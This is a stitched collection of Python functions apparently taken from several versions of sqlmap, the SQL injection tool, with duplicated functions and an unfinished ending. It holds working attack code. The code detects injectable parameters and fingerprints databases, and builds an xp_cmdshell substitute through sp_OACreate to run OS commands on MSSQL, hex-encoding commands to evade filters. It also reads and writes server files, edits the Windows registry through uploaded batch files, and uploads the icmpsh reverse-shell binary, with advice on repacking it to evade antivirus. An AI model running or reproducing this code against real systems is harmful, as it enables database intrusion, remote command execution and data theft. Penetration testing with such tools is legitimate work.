def heuristicCheckDbms(injection):
retVal = None
if not Backend.getIdentifiedDbms() and len(injection.data) == 1 and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data:
pushValue(kb.injection)
kb.injection = injection
randStr1, randStr2 = randomStr(), randomStr()
for dbms in getPublicTypeMembers(DBMS, True):
Backend.forceDbms(dbms)
if checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr1)):
if not checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr2)):
retVal = dbms
break
Backend.flushForcedDbms()
kb.injection = popValue()
if retVal:
infoMsg = "heuristic test showed that the back-end DBMS "
infoMsg += "could be '%s' " % retVal
logger.info(infoMsg)
return retVal
def __xpCmdshellCreate(self):
cmd = ""
if Backend.isVersionWithin(("2005", "2008")):
logger.debug("activating sp_OACreate")
cmd += "EXEC master..sp_configure 'show advanced options',1;"
cmd += "RECONFIGURE WITH OVERRIDE;"
cmd += "EXEC master..sp_configure 'ole automation procedures',1;"
cmd += "RECONFIGURE WITH OVERRIDE"
inject.goStacked(agent.runAsDBMSUser(cmd))
self.__randStr = randomStr(lowercase=True)
self.__xpCmdshellNew = randomStr(lowercase=True)
self.xpCmdshellStr = "master..xp_%s" % self.__xpCmdshellNew
cmd = "DECLARE @%s nvarchar(999);" % self.__randStr
cmd += "set @%s='" % self.__randStr
cmd += "CREATE PROCEDURE xp_%s(@cmd varchar(255)) AS DECLARE @ID int " % self.__xpCmdshellNew
cmd += "EXEC sp_OACreate ''WScript.Shell'',@ID OUT "
cmd += "EXEC sp_OAMethod @ID,''Run'',Null,@cmd,0,1 "
cmd += "EXEC sp_OADestroy @ID';"
cmd += "EXEC master..sp_executesql @%s" % self.__randStr
if Backend.isVersionWithin(("2005", "2008")):
cmd += ";RECONFIGURE WITH OVERRIDE"
inject.goStacked(agent.runAsDBMSUser(cmd))
def heuristicCheckDbms(injection):
retVal = None
pushValue(kb.injection)
kb.injection = injection
randStr1, randStr2 = randomStr(), randomStr()
for dbms in getPublicTypeMembers(DBMS, True):
Backend.forceDbms(dbms)
if checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr1)):
if not checkBooleanExpression(
"(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr2)
):
retVal = dbms
break
Backend.flushForcedDbms()
kb.injection = popValue()
if retVal:
infoMsg = (
"heuristic (extended) test shows that the back-end DBMS "
) # not as important as "parsing" counter-part (because of false-positives)
infoMsg += "could be '%s' " % retVal
logger.info(infoMsg)
return retVal
def checkDynParam(place, parameter, value):
"""
This function checks if the url parameter is dynamic. If it is
dynamic, the content of the page differs, otherwise the
dynamicity might depend on another parameter.
"""
infoMsg = "testing if %s parameter '%s' is dynamic" % (place, parameter)
logger.info(infoMsg)
randInt = randomInt()
payload = agent.payload(place, parameter, value, str(randInt))
dynResult1 = Request.queryPage(payload, place)
if kb.defaultResult == dynResult1:
return False
infoMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "'%s" % randomStr())
dynResult2 = Request.queryPage(payload, place)
payload = agent.payload(place, parameter, value, "\"%s" % randomStr())
dynResult3 = Request.queryPage(payload, place)
condition = kb.defaultResult != dynResult2
condition |= kb.defaultResult != dynResult3
return condition
def xpCmdshellForgeCmd(self, cmd, insertIntoTable=None):
# When user provides DBMS credentials (with --dbms-cred) we need to
# redirect the command standard output to a temporary file in order
# to retrieve it afterwards
# NOTE: this does not need to be done when the command is 'del' to
# delete the temporary file
if conf.dbmsCred and insertIntoTable:
self.tmpFile = "%s/tmpc%s.txt" % (conf.tmpPath, randomStr(lowercase=True))
cmd = "%s > \"%s\"" % (cmd, self.tmpFile)
# Obfuscate the command to execute, also useful to bypass filters
# on single-quotes
self.__randStr = randomStr(lowercase=True)
self.__cmd = "0x%s" % hexencode(cmd)
self.__forgedCmd = "DECLARE @%s VARCHAR(8000);" % self.__randStr
self.__forgedCmd += "SET @%s=%s;" % (self.__randStr, self.__cmd)
# Insert the command standard output into a support table,
# 'sqlmapoutput', except when DBMS credentials are provided because
# it does not work unfortunately, BULK INSERT needs to be used to
# retrieve the output when OPENROWSET is used hence the redirection
# to a temporary file from above
if insertIntoTable and not conf.dbmsCred:
self.__forgedCmd += "INSERT INTO %s " % insertIntoTable
self.__forgedCmd += "EXEC %s @%s" % (self.xpCmdshellStr, self.__randStr)
return agent.runAsDBMSUser(self.__forgedCmd)
def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
if conf.direct:
output = self.xpCmdshellExecCmd(cmd)
if output and isinstance(output, (list, tuple)):
new_output = ""
for line in output:
if line == "NULL":
new_output += "\n"
else:
new_output += "%s\n" % line.strip("\r")
output = new_output
else:
inject.goStacked(self.xpCmdshellForgeCmd(cmd, self.cmdTblName))
# When user provides DBMS credentials (with --dbms-cred), the
# command standard output is redirected to a temporary file
# The file needs to be copied to the support table,
# 'sqlmapoutput'
if conf.dbmsCred:
inject.goStacked(
"BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')"
% (self.cmdTblName, self.tmpFile, randomStr(10), randomStr(10))
)
self.delRemoteFile(self.tmpFile)
query = "SELECT %s FROM %s" % (self.tblField, self.cmdTblName)
if conf.direct or any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)):
output = inject.getValue(query, resumeValue=False, blind=False, time=False)
else:
output = []
count = inject.getValue(
"SELECT COUNT(*) FROM %s" % self.cmdTblName,
resumeValue=False,
union=False,
error=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS,
)
if isNumPosStrValue(count):
for index in getLimitRange(count):
query = agent.limitQuery(index, query, self.tblField)
output.append(inject.getValue(query, union=False, error=False, resumeValue=False))
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
if output and isListLike(output) and len(output) > 1:
if not (output[0] or "").strip():
output = output[1:]
elif not (output[-1] or "").strip():
output = output[:-1]
output = "\n".join(line for line in filter(None, output))
return output
def __unionPosition(comment, place, parameter, value, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL):
validPayload = None
vector = None
positions = range(0, count)
# Unbiased approach for searching appropriate usable column
random.shuffle(positions)
# For each column of the table (# of NULL) perform a request using
# the UNION ALL SELECT statement to test it the target url is
# affected by an exploitable inband SQL injection vulnerability
for position in positions:
# Prepare expression with delimiters
randQuery = randomStr(UNION_MIN_RESPONSE_CHARS)
phrase = "%s%s%s".lower() % (kb.misc.start, randQuery, kb.misc.stop)
randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
randQueryUnescaped = unescaper.unescape(randQueryProcessed)
# Forge the inband SQL injection request
query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, conf.uChar)
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
# Perform the request
page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \
removeReflectiveValues(listToStrValue(headers.headers if headers else None), \
payload, True) or "")
if content and phrase in content:
validPayload = payload
vector = (position, count, comment, prefix, suffix, conf.uChar, where)
if where == PAYLOAD.WHERE.ORIGINAL:
# Prepare expression with delimiters
randQuery2 = randomStr(UNION_MIN_RESPONSE_CHARS)
phrase2 = "%s%s%s".lower() % (kb.misc.start, randQuery2, kb.misc.stop)
randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2)
randQueryUnescaped2 = unescaper.unescape(randQueryProcessed2)
# Confirm that it is a full inband SQL injection
query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, conf.uChar, multipleUnions=randQueryUnescaped2)
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=PAYLOAD.WHERE.NEGATIVE)
# Perform the request
page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
content = "%s%s".lower() % (page or "", listToStrValue(headers.headers if headers else None) or "")
if content and ((phrase in content and phrase2 not in content) or (phrase not in content and phrase2 in content)):
vector = (position, count, comment, prefix, suffix, conf.uChar, PAYLOAD.WHERE.NEGATIVE)
break
return validPayload, vector
def checkWaf():
"""
Reference: http://seclists.org/nmap-dev/2011/q2/att-1005/http-waf-detect.nse
"""
if not conf.checkWaf:
return False
infoMsg = "testing if the target is protected by "
infoMsg += "some kind of WAF/IPS/IDS"
logger.info(infoMsg)
retVal = False
backup = dict(conf.parameters)
conf.parameters = dict(backup)
conf.parameters[PLACE.GET] = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + "&"
conf.parameters[PLACE.GET] += "%s=%d %s" % (randomStr(), randomInt(), IDS_WAF_CHECK_PAYLOAD)
kb.matchRatio = None
Request.queryPage()
if kb.errorIsNone and kb.matchRatio is None:
kb.matchRatio = LOWER_RATIO_BOUND
conf.parameters = dict(backup)
conf.parameters[PLACE.GET] = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + "&"
conf.parameters[PLACE.GET] += "%s=%d" % (randomStr(), randomInt())
trueResult = Request.queryPage()
if trueResult:
conf.parameters = dict(backup)
conf.parameters[PLACE.GET] = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + "&"
conf.parameters[PLACE.GET] += "%s=%d %s" % (randomStr(), randomInt(), IDS_WAF_CHECK_PAYLOAD)
falseResult = Request.queryPage()
if not falseResult:
retVal = True
conf.parameters = dict(backup)
if retVal:
warnMsg = "it appears that the target is protected. Please "
warnMsg += "consider usage of tamper scripts (option '--tamper')"
logger.warn(warnMsg)
else:
infoMsg = "it appears that the target is not protected"
logger.info(infoMsg)
return retVal
def _checkFileLength(self, localFile, remoteFile, fileRead=False):
if Backend.isDbms(DBMS.MYSQL):
lengthQuery = "SELECT LENGTH(LOAD_FILE('%s'))" % remoteFile
elif Backend.isDbms(DBMS.PGSQL):
if fileRead:
lengthQuery = True
else:
lengthQuery = "SELECT LENGTH(data) FROM pg_largeobject WHERE loid=%d" % self.oid
elif Backend.isDbms(DBMS.MSSQL):
self.createSupportTbl(self.fileTblName, self.tblField, "text")
# Reference: http://msdn.microsoft.com/en-us/library/ms188365.aspx
inject.goStacked(
"BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')"
% (self.fileTblName, remoteFile, randomStr(10), randomStr(10))
)
lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName)
localFileSize = os.path.getsize(localFile)
logger.debug("checking the length of the remote file %s" % remoteFile)
remoteFileSize = inject.getValue(
lengthQuery, resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS
)
sameFile = None
if isNumPosStrValue(remoteFileSize):
remoteFileSize = long(remoteFileSize)
sameFile = False
if localFileSize == remoteFileSize:
sameFile = True
infoMsg = "the local file %s and the remote file " % localFile
infoMsg += "%s have the same size" % remoteFile
elif remoteFileSize > localFileSize:
infoMsg = "the remote file %s is larger than " % remoteFile
infoMsg += "the local file %s" % localFile
else:
infoMsg = "the remote file %s is smaller than " % remoteFile
infoMsg += "file '%s' (%d bytes)" % (localFile, localFileSize)
logger.info(infoMsg)
else:
sameFile = False
warnMsg = "it looks like the file has not been written, this "
warnMsg += "can occur if the DBMS process' user has no write "
warnMsg += "privileges in the destination path"
logger.warn(warnMsg)
return sameFile
def _checkWrittenFile(self, wFile, dFile, fileType):
if Backend.isDbms(DBMS.MYSQL):
lengthQuery = "SELECT LENGTH(LOAD_FILE('%s'))" % dFile
elif Backend.isDbms(DBMS.PGSQL):
lengthQuery = "SELECT LENGTH(data) FROM pg_largeobject WHERE loid=%d" % self.oid
elif Backend.isDbms(DBMS.MSSQL):
self.createSupportTbl(self.fileTblName, self.tblField, "text")
# Reference: http://msdn.microsoft.com/en-us/library/ms188365.aspx
inject.goStacked(
"BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')"
% (self.fileTblName, dFile, randomStr(10), randomStr(10))
)
lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName)
wFileSize = os.path.getsize(wFile)
logger.debug("checking if the %s file has been written" % fileType)
dFileSize = inject.getValue(
lengthQuery, resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS
)
sameFile = None
if isNumPosStrValue(dFileSize):
infoMsg = "the file has been successfully written and "
infoMsg += "its size is %s bytes" % dFileSize
dFileSize = long(dFileSize)
if wFileSize == dFileSize:
sameFile = True
infoMsg += ", same size as the local file '%s'" % wFile
else:
sameFile = False
infoMsg += ", but the size differs from the local "
infoMsg += "file '%s' (%d bytes)" % (wFile, wFileSize)
logger.info(infoMsg)
else:
sameFile = False
warnMsg = "it looks like the file has not been written, this "
warnMsg += "can occur if the DBMS process' user has no write "
warnMsg += "privileges in the destination path"
logger.warn(warnMsg)
return sameFile
def __randomFillBlankFields(value):
retVal = value
if extractRegexResult(EMPTY_FORM_FIELDS_REGEX, value):
message = "do you want to fill blank fields with random values? [Y/n] "
test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"):
while extractRegexResult(EMPTY_FORM_FIELDS_REGEX, retVal):
item = extractRegexResult(EMPTY_FORM_FIELDS_REGEX, retVal)
if item[-1] == DEFAULT_GET_POST_DELIMITER:
retVal = retVal.replace(item, "%s%s%s" % (item[:-1], randomStr(), DEFAULT_GET_POST_DELIMITER))
else:
retVal = retVal.replace(item, "%s%s" % (item, randomStr()))
return retVal
def heuristicCheckSqlInjection(place, parameter, value):
if kb.nullConnection:
debugMsg = "heuristic checking skipped "
debugMsg += "because NULL connection used"
logger.debug(debugMsg)
return
prefix = ""
suffix = ""
if conf.prefix or conf.suffix:
if conf.prefix:
prefix = conf.prefix
if conf.suffix:
suffix = conf.suffix
payload = "%s%s%s%s" % (value, prefix, randomStr(length=10, alphabet=['"', '\'', ')', '(']), suffix)
payload = agent.payload(place, parameter, value, payload)
Request.queryPage(payload, place, raise404=False)
result = wasLastRequestDBMSError()
infoMsg = "heuristics shows that %s " % place
infoMsg += "parameter '%s' might " % parameter
if result:
infoMsg += "be injectable (possible DBMS: %s)" % (kb.htmlFp[-1] if kb.htmlFp else 'Unknown')
logger.info(infoMsg)
else:
infoMsg += "not be injectable"
logger.warning(infoMsg)
def suffixQuery(self, string, comment=None):
"""
This method appends the DBMS comment to the
SQL injection request
"""
if conf.direct:
return self.payloadDirect(string)
logic = conf.logic
case = getInjectionCase(kb.injType)
if case is None:
raise sqlmapNoneDataException, "unsupported injection type"
randInt = randomInt()
randStr = randomStr()
if kb.parenthesis is not None:
parenthesis = kb.parenthesis
else:
raise sqlmapNoneDataException, "unable to get the number of parenthesis"
if comment:
string += comment
if conf.suffix:
string += " %s" % conf.suffix
else:
string += case.usage.suffix.format % eval(case.usage.suffix.params)
return string
def __xpCmdshellCreate(self):
cmd = ""
if kb.dbmsVersion[0] in ( "2005", "2008" ):
logger.debug("activating sp_OACreate")
cmd += "EXEC master..sp_configure 'show advanced options', 1; "
cmd += "RECONFIGURE WITH OVERRIDE; "
cmd += "EXEC master..sp_configure 'ole automation procedures', 1; "
cmd += "RECONFIGURE WITH OVERRIDE; "
inject.goStacked(cmd)
self.__randStr = randomStr(lowercase=True)
cmd += "declare @%s nvarchar(999); " % self.__randStr
cmd += "set @%s='" % self.__randStr
cmd += "CREATE PROCEDURE xp_cmdshell(@cmd varchar(255)) AS DECLARE @ID int "
cmd += "EXEC sp_OACreate ''WScript.Shell'', @ID OUT "
cmd += "EXEC sp_OAMethod @ID, ''Run'', Null, @cmd, 0, 1 "
cmd += "EXEC sp_OADestroy @ID'; "
cmd += "EXEC master..sp_executesql @%s;" % self.__randStr
if kb.dbmsVersion[0] in ( "2005", "2008" ):
cmd += " RECONFIGURE WITH OVERRIDE;"
inject.goStacked(cmd)
def forgeQueryOutputLength(self, expression):
lengthQuery = queries[Backend.getIdentifiedDbms()].length.query
select = re.search("\ASELECT\s+", expression, re.I)
selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
selectDistinctExpr = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I)
selectFromExpr = re.search("\ASELECT\s+(.+?)\s+FROM", expression, re.I)
selectExpr = re.search("\ASELECT\s+(.+)$", expression, re.I)
_, _, _, _, _, _, fieldsStr, _ = self.getFields(expression)
if any((selectTopExpr, selectDistinctExpr, selectFromExpr, selectExpr)):
query = fieldsStr
else:
query = expression
if selectDistinctExpr:
lengthExpr = "SELECT %s FROM (%s)" % (lengthQuery % query, expression)
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
lengthExpr += " AS %s" % randomStr(lowercase=True)
elif select:
lengthExpr = expression.replace(query, lengthQuery % query, 1)
else:
lengthExpr = lengthQuery % expression
return unescaper.escape(lengthExpr)
def _createTargetDirs():
"""
Create the output directory.
"""
for context in "output", "history":
directory = paths["SQLMAP_%s_PATH" % context.upper()]
try:
if not os.path.isdir(directory):
os.makedirs(directory)
_ = os.path.join(directory, randomStr())
open(_, "w+b").close()
os.remove(_)
if conf.outputDir and context == "output":
warnMsg = "using '%s' as the %s directory" % (directory, context)
logger.warn(warnMsg)
except (OSError, IOError), ex:
try:
tempDir = tempfile.mkdtemp(prefix="sqlmap%s" % context)
except Exception, _:
errMsg = "unable to write to the temporary directory ('%s'). " % _
errMsg += "Please make sure that your disk is not full and "
errMsg += "that you have sufficient write permissions to "
errMsg += "create temporary files and/or directories"
raise SqlmapSystemException(errMsg)
warnMsg = "unable to %s %s directory " % ("create" if not os.path.isdir(directory) else "write to the", context)
warnMsg += "'%s' (%s). " % (directory, getUnicode(ex))
warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir)
logger.warn(warnMsg)
paths["SQLMAP_%s_PATH" % context.upper()] = tempDir
def __unionPosition(expression, negative=False):
global reqCount
if negative:
negLogMsg = "partial"
else:
negLogMsg = "full"
infoMsg = "confirming %s inband sql injection on parameter " % negLogMsg
infoMsg += "'%s'" % kb.injParameter
logger.info(infoMsg)
# For each column of the table (# of NULL) perform a request using
# the UNION ALL SELECT statement to test it the target url is
# affected by an exploitable inband SQL injection vulnerability
for exprPosition in range(0, kb.unionCount):
# Prepare expression with delimiters
randQuery = randomStr()
randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
randQueryUnescaped = unescaper.unescape(randQueryProcessed)
if len(randQueryUnescaped) > len(expression):
blankCount = len(randQueryUnescaped) - len(expression)
expression = (" " * blankCount) + expression
elif len(randQueryUnescaped) < len(expression):
blankCount = len(expression) - len(randQueryUnescaped)
randQueryUnescaped = (" " * blankCount) + randQueryUnescaped
# Forge the inband SQL injection request
query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition)
payload = agent.payload(newValue=query, negative=negative)
# Perform the request
resultPage = Request.queryPage(payload, content=True)
reqCount += 1
# We have to assure that the randQuery value is not within the
# HTML code of the result page because, for instance, it is there
# when the query is wrong and the back-end DBMS is Microsoft SQL
# server
htmlParsed = htmlParser(resultPage)
if randQuery in resultPage and not htmlParsed:
setUnion(position=exprPosition)
break
if isinstance(kb.unionPosition, int):
infoMsg = "the target url is affected by an exploitable "
infoMsg += "%s inband sql injection vulnerability" % negLogMsg
logger.info(infoMsg)
else:
warnMsg = "the target url is not affected by an exploitable "
warnMsg += "%s inband sql injection vulnerability" % negLogMsg
if negLogMsg == "partial":
warnMsg += ", sqlmap will retrieve the query output "
warnMsg += "through blind sql injection technique"
logger.warn(warnMsg)
def __randomFillBlankFields(value):
retVal = value
if extractRegexResult(EMPTY_FORM_FIELDS_REGEX, value):
message = "do you want to fill blank fields with random values? [Y/n] "
test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"):
for match in re.finditer(EMPTY_FORM_FIELDS_REGEX, retVal):
item = match.group("result")
if not any(_ in item for _ in IGNORE_PARAMETERS):
if item[-1] == DEFAULT_GET_POST_DELIMITER:
retVal = retVal.replace(item, "%s%s%s" % (item[:-1], randomStr(), DEFAULT_GET_POST_DELIMITER))
else:
retVal = retVal.replace(item, "%s%s" % (item, randomStr()))
return retVal
def getUsers(self):
infoMsg = "fetching database users"
logger.info(infoMsg)
rootQuery = queries[Backend.getIdentifiedDbms()].users
randStr = randomStr()
query = rootQuery.inband.query
if (
isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION)
or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR)
or conf.direct
):
blinds = [False, True]
else:
blinds = [True]
for blind in blinds:
retVal = self.__pivotDumpTable("(%s) AS %s" % (query, randStr), ["%s.name" % randStr], blind=blind)
if retVal:
kb.data.cachedUsers = retVal[0].values()[0]
break
return kb.data.cachedUsers
def forgeQueryOutputLength(self, expression):
lengthQuery = queries[Backend.getIdentifiedDbms()].length.query
select = re.search("\ASELECT\s+", expression, re.I)
selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
selectDistinctExpr = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I)
selectFromExpr = re.search("\ASELECT\s+(.+?)\s+FROM", expression, re.I)
selectExpr = re.search("\ASELECT\s+(.+)$", expression, re.I)
if any((selectTopExpr, selectDistinctExpr, selectFromExpr, selectExpr)):
if selectTopExpr:
query = selectTopExpr.group(1)
elif selectDistinctExpr:
query = selectDistinctExpr.group(1)
elif selectFromExpr:
query = selectFromExpr.group(1)
elif selectExpr:
query = selectExpr.group(1)
else:
query = expression
if ( select and re.search("\A(COUNT|LTRIM)\(", query, re.I) ) or len(query) <= 1:
return query
if selectDistinctExpr:
lengthExpr = "SELECT %s FROM (%s)" % (lengthQuery % query, expression)
if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
lengthExpr += " AS %s" % randomStr(lowercase=True)
elif select:
lengthExpr = expression.replace(query, lengthQuery % query, 1)
else:
lengthExpr = lengthQuery % expression
return unescaper.unescape(lengthExpr)
def escape(expression, quote=True):
"""
>>> from lib.core.common import Backend
>>> Backend.setVersion('12.10')
['12.10']
>>> Syntax.escape("SELECT 'abcdefgh' FROM foobar")
'SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar'
"""
def escaper(value):
return "||".join("CHR(%d)" % ord(_) for _ in value)
retVal = expression
if isDBMSVersionAtLeast("11.70"):
excluded = {}
for _ in re.findall(r"DBINFO\([^)]+\)", expression):
excluded[_] = randomStr()
expression = expression.replace(_, excluded[_])
retVal = Syntax._escape(expression, quote, escaper)
for _ in excluded.items():
retVal = retVal.replace(_[1], _[0])
return retVal
def uploadIcmpshSlave(self, web=False):
ICMPsh._initVars(self)
self._randStr = randomStr(lowercase=True)
self._icmpslaveRemoteBase = "tmpi%s.exe" % self._randStr
self._icmpslaveRemote = "%s/%s" % (conf.tmpPath, self._icmpslaveRemoteBase)
self._icmpslaveRemote = ntToPosixSlashes(normalizePath(self._icmpslaveRemote))
logger.info("uploading icmpsh slave to '%s'" % self._icmpslaveRemote)
if web:
written = self.webUpload(self._icmpslaveRemote, os.path.split(self._icmpslaveRemote)[0], filepath=self._icmpslave)
else:
written = self.writeFile(self._icmpslave, self._icmpslaveRemote, "binary", forceCheck=True)
if written is not True:
errMsg = "there has been a problem uploading icmpsh, it "
errMsg += "looks like the binary file has not been written "
errMsg += "on the database underlying file system or an AV has "
errMsg += "flagged it as malicious and removed it. In such a case "
errMsg += "it is recommended to recompile icmpsh with slight "
errMsg += "modification to the source code or pack it with an "
errMsg += "obfuscator software"
logger.error(errMsg)
return False
else:
logger.info("icmpsh successfully uploaded")
return True
def udfSetLocalPaths(self):
self.udfLocalFile = paths.SQLMAP_UDF_PATH
self.udfSharedLibName = "libs%s" % randomStr(lowercase=True)
self.getVersionFromBanner()
banVer = kb.bannerFp["dbmsVersion"]
if banVer >= "9.0":
majorVer = "9.0"
elif banVer >= "8.4":
majorVer = "8.4"
elif banVer >= "8.3":
majorVer = "8.3"
elif banVer >= "8.2":
majorVer = "8.2"
else:
errMsg = "unsupported feature on versions of PostgreSQL before 8.2"
raise sqlmapUnsupportedFeatureException, errMsg
if Backend.isOs(OS.WINDOWS):
self.udfLocalFile += "/postgresql/windows/%d/%s/lib_postgresqludf_sys.dll" % (Backend.getArch(), majorVer)
self.udfSharedLibExt = "dll"
else:
self.udfLocalFile += "/postgresql/linux/%d/%s/lib_postgresqludf_sys.so" % (Backend.getArch(), majorVer)
self.udfSharedLibExt = "so"
def _createTargetDirs():
"""
Create the output directory.
"""
try:
if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755)
_ = os.path.join(paths.SQLMAP_OUTPUT_PATH, randomStr())
open(_, "w+b").close()
os.remove(_)
if conf.outputDir:
warnMsg = "using '%s' as the output directory" % paths.SQLMAP_OUTPUT_PATH
logger.warn(warnMsg)
except (OSError, IOError), ex:
try:
tempDir = tempfile.mkdtemp(prefix="sqlmapoutput")
except Exception, _:
errMsg = "unable to write to the temporary directory ('%s'). " % _
errMsg += "Please make sure that your disk is not full and "
errMsg += "that you have sufficient write permissions to "
errMsg += "create temporary files and/or directories"
raise SqlmapSystemException(errMsg)
def _randomFillBlankFields(value):
retVal = value
if extractRegexResult(EMPTY_FORM_FIELDS_REGEX, value):
message = "do you want to fill blank fields with random values? [Y/n] "
if readInput(message, default='Y', boolean=True):
for match in re.finditer(EMPTY_FORM_FIELDS_REGEX, retVal):
item = match.group("result")
if not any(_ in item for _ in IGNORE_PARAMETERS) and not re.search(ASP_NET_CONTROL_REGEX, item):
if item[-1] == DEFAULT_GET_POST_DELIMITER:
retVal = retVal.replace(item, "%s%s%s" % (item[:-1], randomStr(), DEFAULT_GET_POST_DELIMITER))
else:
retVal = retVal.replace(item, "%s%s" % (item, randomStr()))
return retVal
def __initVars(self, regKey, regValue, regType=None, regData=None, parse=False):
self.__regKey = regKey
self.__regValue = regValue
self.__regType = regType
self.__regData = regData
self.__randStr = randomStr(lowercase=True)
self.__batPathRemote = "%s/tmpr%s.bat" % (conf.tmpPath, self.__randStr)
self.__batPathLocal = os.path.join(conf.outputPath, "tmpr%s.bat" % self.__randStr)
if parse:
readParse = "FOR /F \"tokens=*\" %%A IN ('REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\"') DO SET value=%%A\r\nECHO %value%\r\n"
else:
readParse = "REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\""
self.__batRead = (
"@ECHO OFF\r\n",
readParse
)
self.__batAdd = (
"@ECHO OFF\r\n",
"REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self.__regKey, self.__regValue, self.__regType, self.__regData)
)
self.__batDel = (
"@ECHO OFF\r\n",
"REG DELETE \"%s\" /v \"%s\" /f" % (self.__regKey, self.__regValue)
)
def queryOutputLength(expression, payload):
"""
Returns the query output length.
"""
lengthQuery = queries[kb.dbms].length.query
select = re.search("\ASELECT\s+", expression, re.I)
selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
selectDistinctExpr = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I)
selectFromExpr = re.search("\ASELECT\s+(.+?)\s+FROM", expression, re.I)
selectExpr = re.search("\ASELECT\s+(.+)$", expression, re.I)
miscExpr = re.search("\A(.+)", expression, re.I)
if selectTopExpr or selectDistinctExpr or selectFromExpr or selectExpr:
if selectTopExpr:
regExpr = selectTopExpr.groups()[0]
elif selectDistinctExpr:
regExpr = selectDistinctExpr.groups()[0]
elif selectFromExpr:
regExpr = selectFromExpr.groups()[0]
elif selectExpr:
regExpr = selectExpr.groups()[0]
elif miscExpr:
regExpr = miscExpr.groups()[0]
if (select and re.search("\A(COUNT|LTRIM)\(", regExpr, re.I)) or len(regExpr) <= 1:
return None, None, None
if selectDistinctExpr:
lengthExpr = "SELECT %s FROM (%s)" % (lengthQuery % regExpr, expression)
if kb.dbms in (DBMS.MYSQL, DBMS.POSTGRESQL):
lengthExpr += " AS %s" % randomStr(lowercase=True)
elif select:
lengthExpr = expression.replace(regExpr, lengthQuery % regExpr, 1)
else:
lengthExpr = lengthQuery % expression
infoMsg = "retrieving the length of query output"
logger.info(infoMsg)
output = resume(lengthExpr, payload)
if output:
return 0, output, regExpr
dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], lengthExpr))
start = time.time()
lengthExprUnescaped = unescaper.unescape(lengthExpr)
count, length = bisection(payload, lengthExprUnescaped, charsetType=2)
debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start))
logger.debug(debugMsg)
if length == " ":
length = 0
return count, length, regExpr
def __stackedWriteFilePS(self, tmpPath, wFileContent, dFile, fileType):
infoMsg = "using PowerShell to write the %s file content " % fileType
infoMsg += "to file '%s', please wait.." % dFile
logger.info(infoMsg)
randFile = "tmpf%s.txt" % randomStr(lowercase=True)
randFilePath = "%s\%s" % (tmpPath, randFile)
encodedFileContent = hexencode(wFileContent)
# TODO: need to be fixed
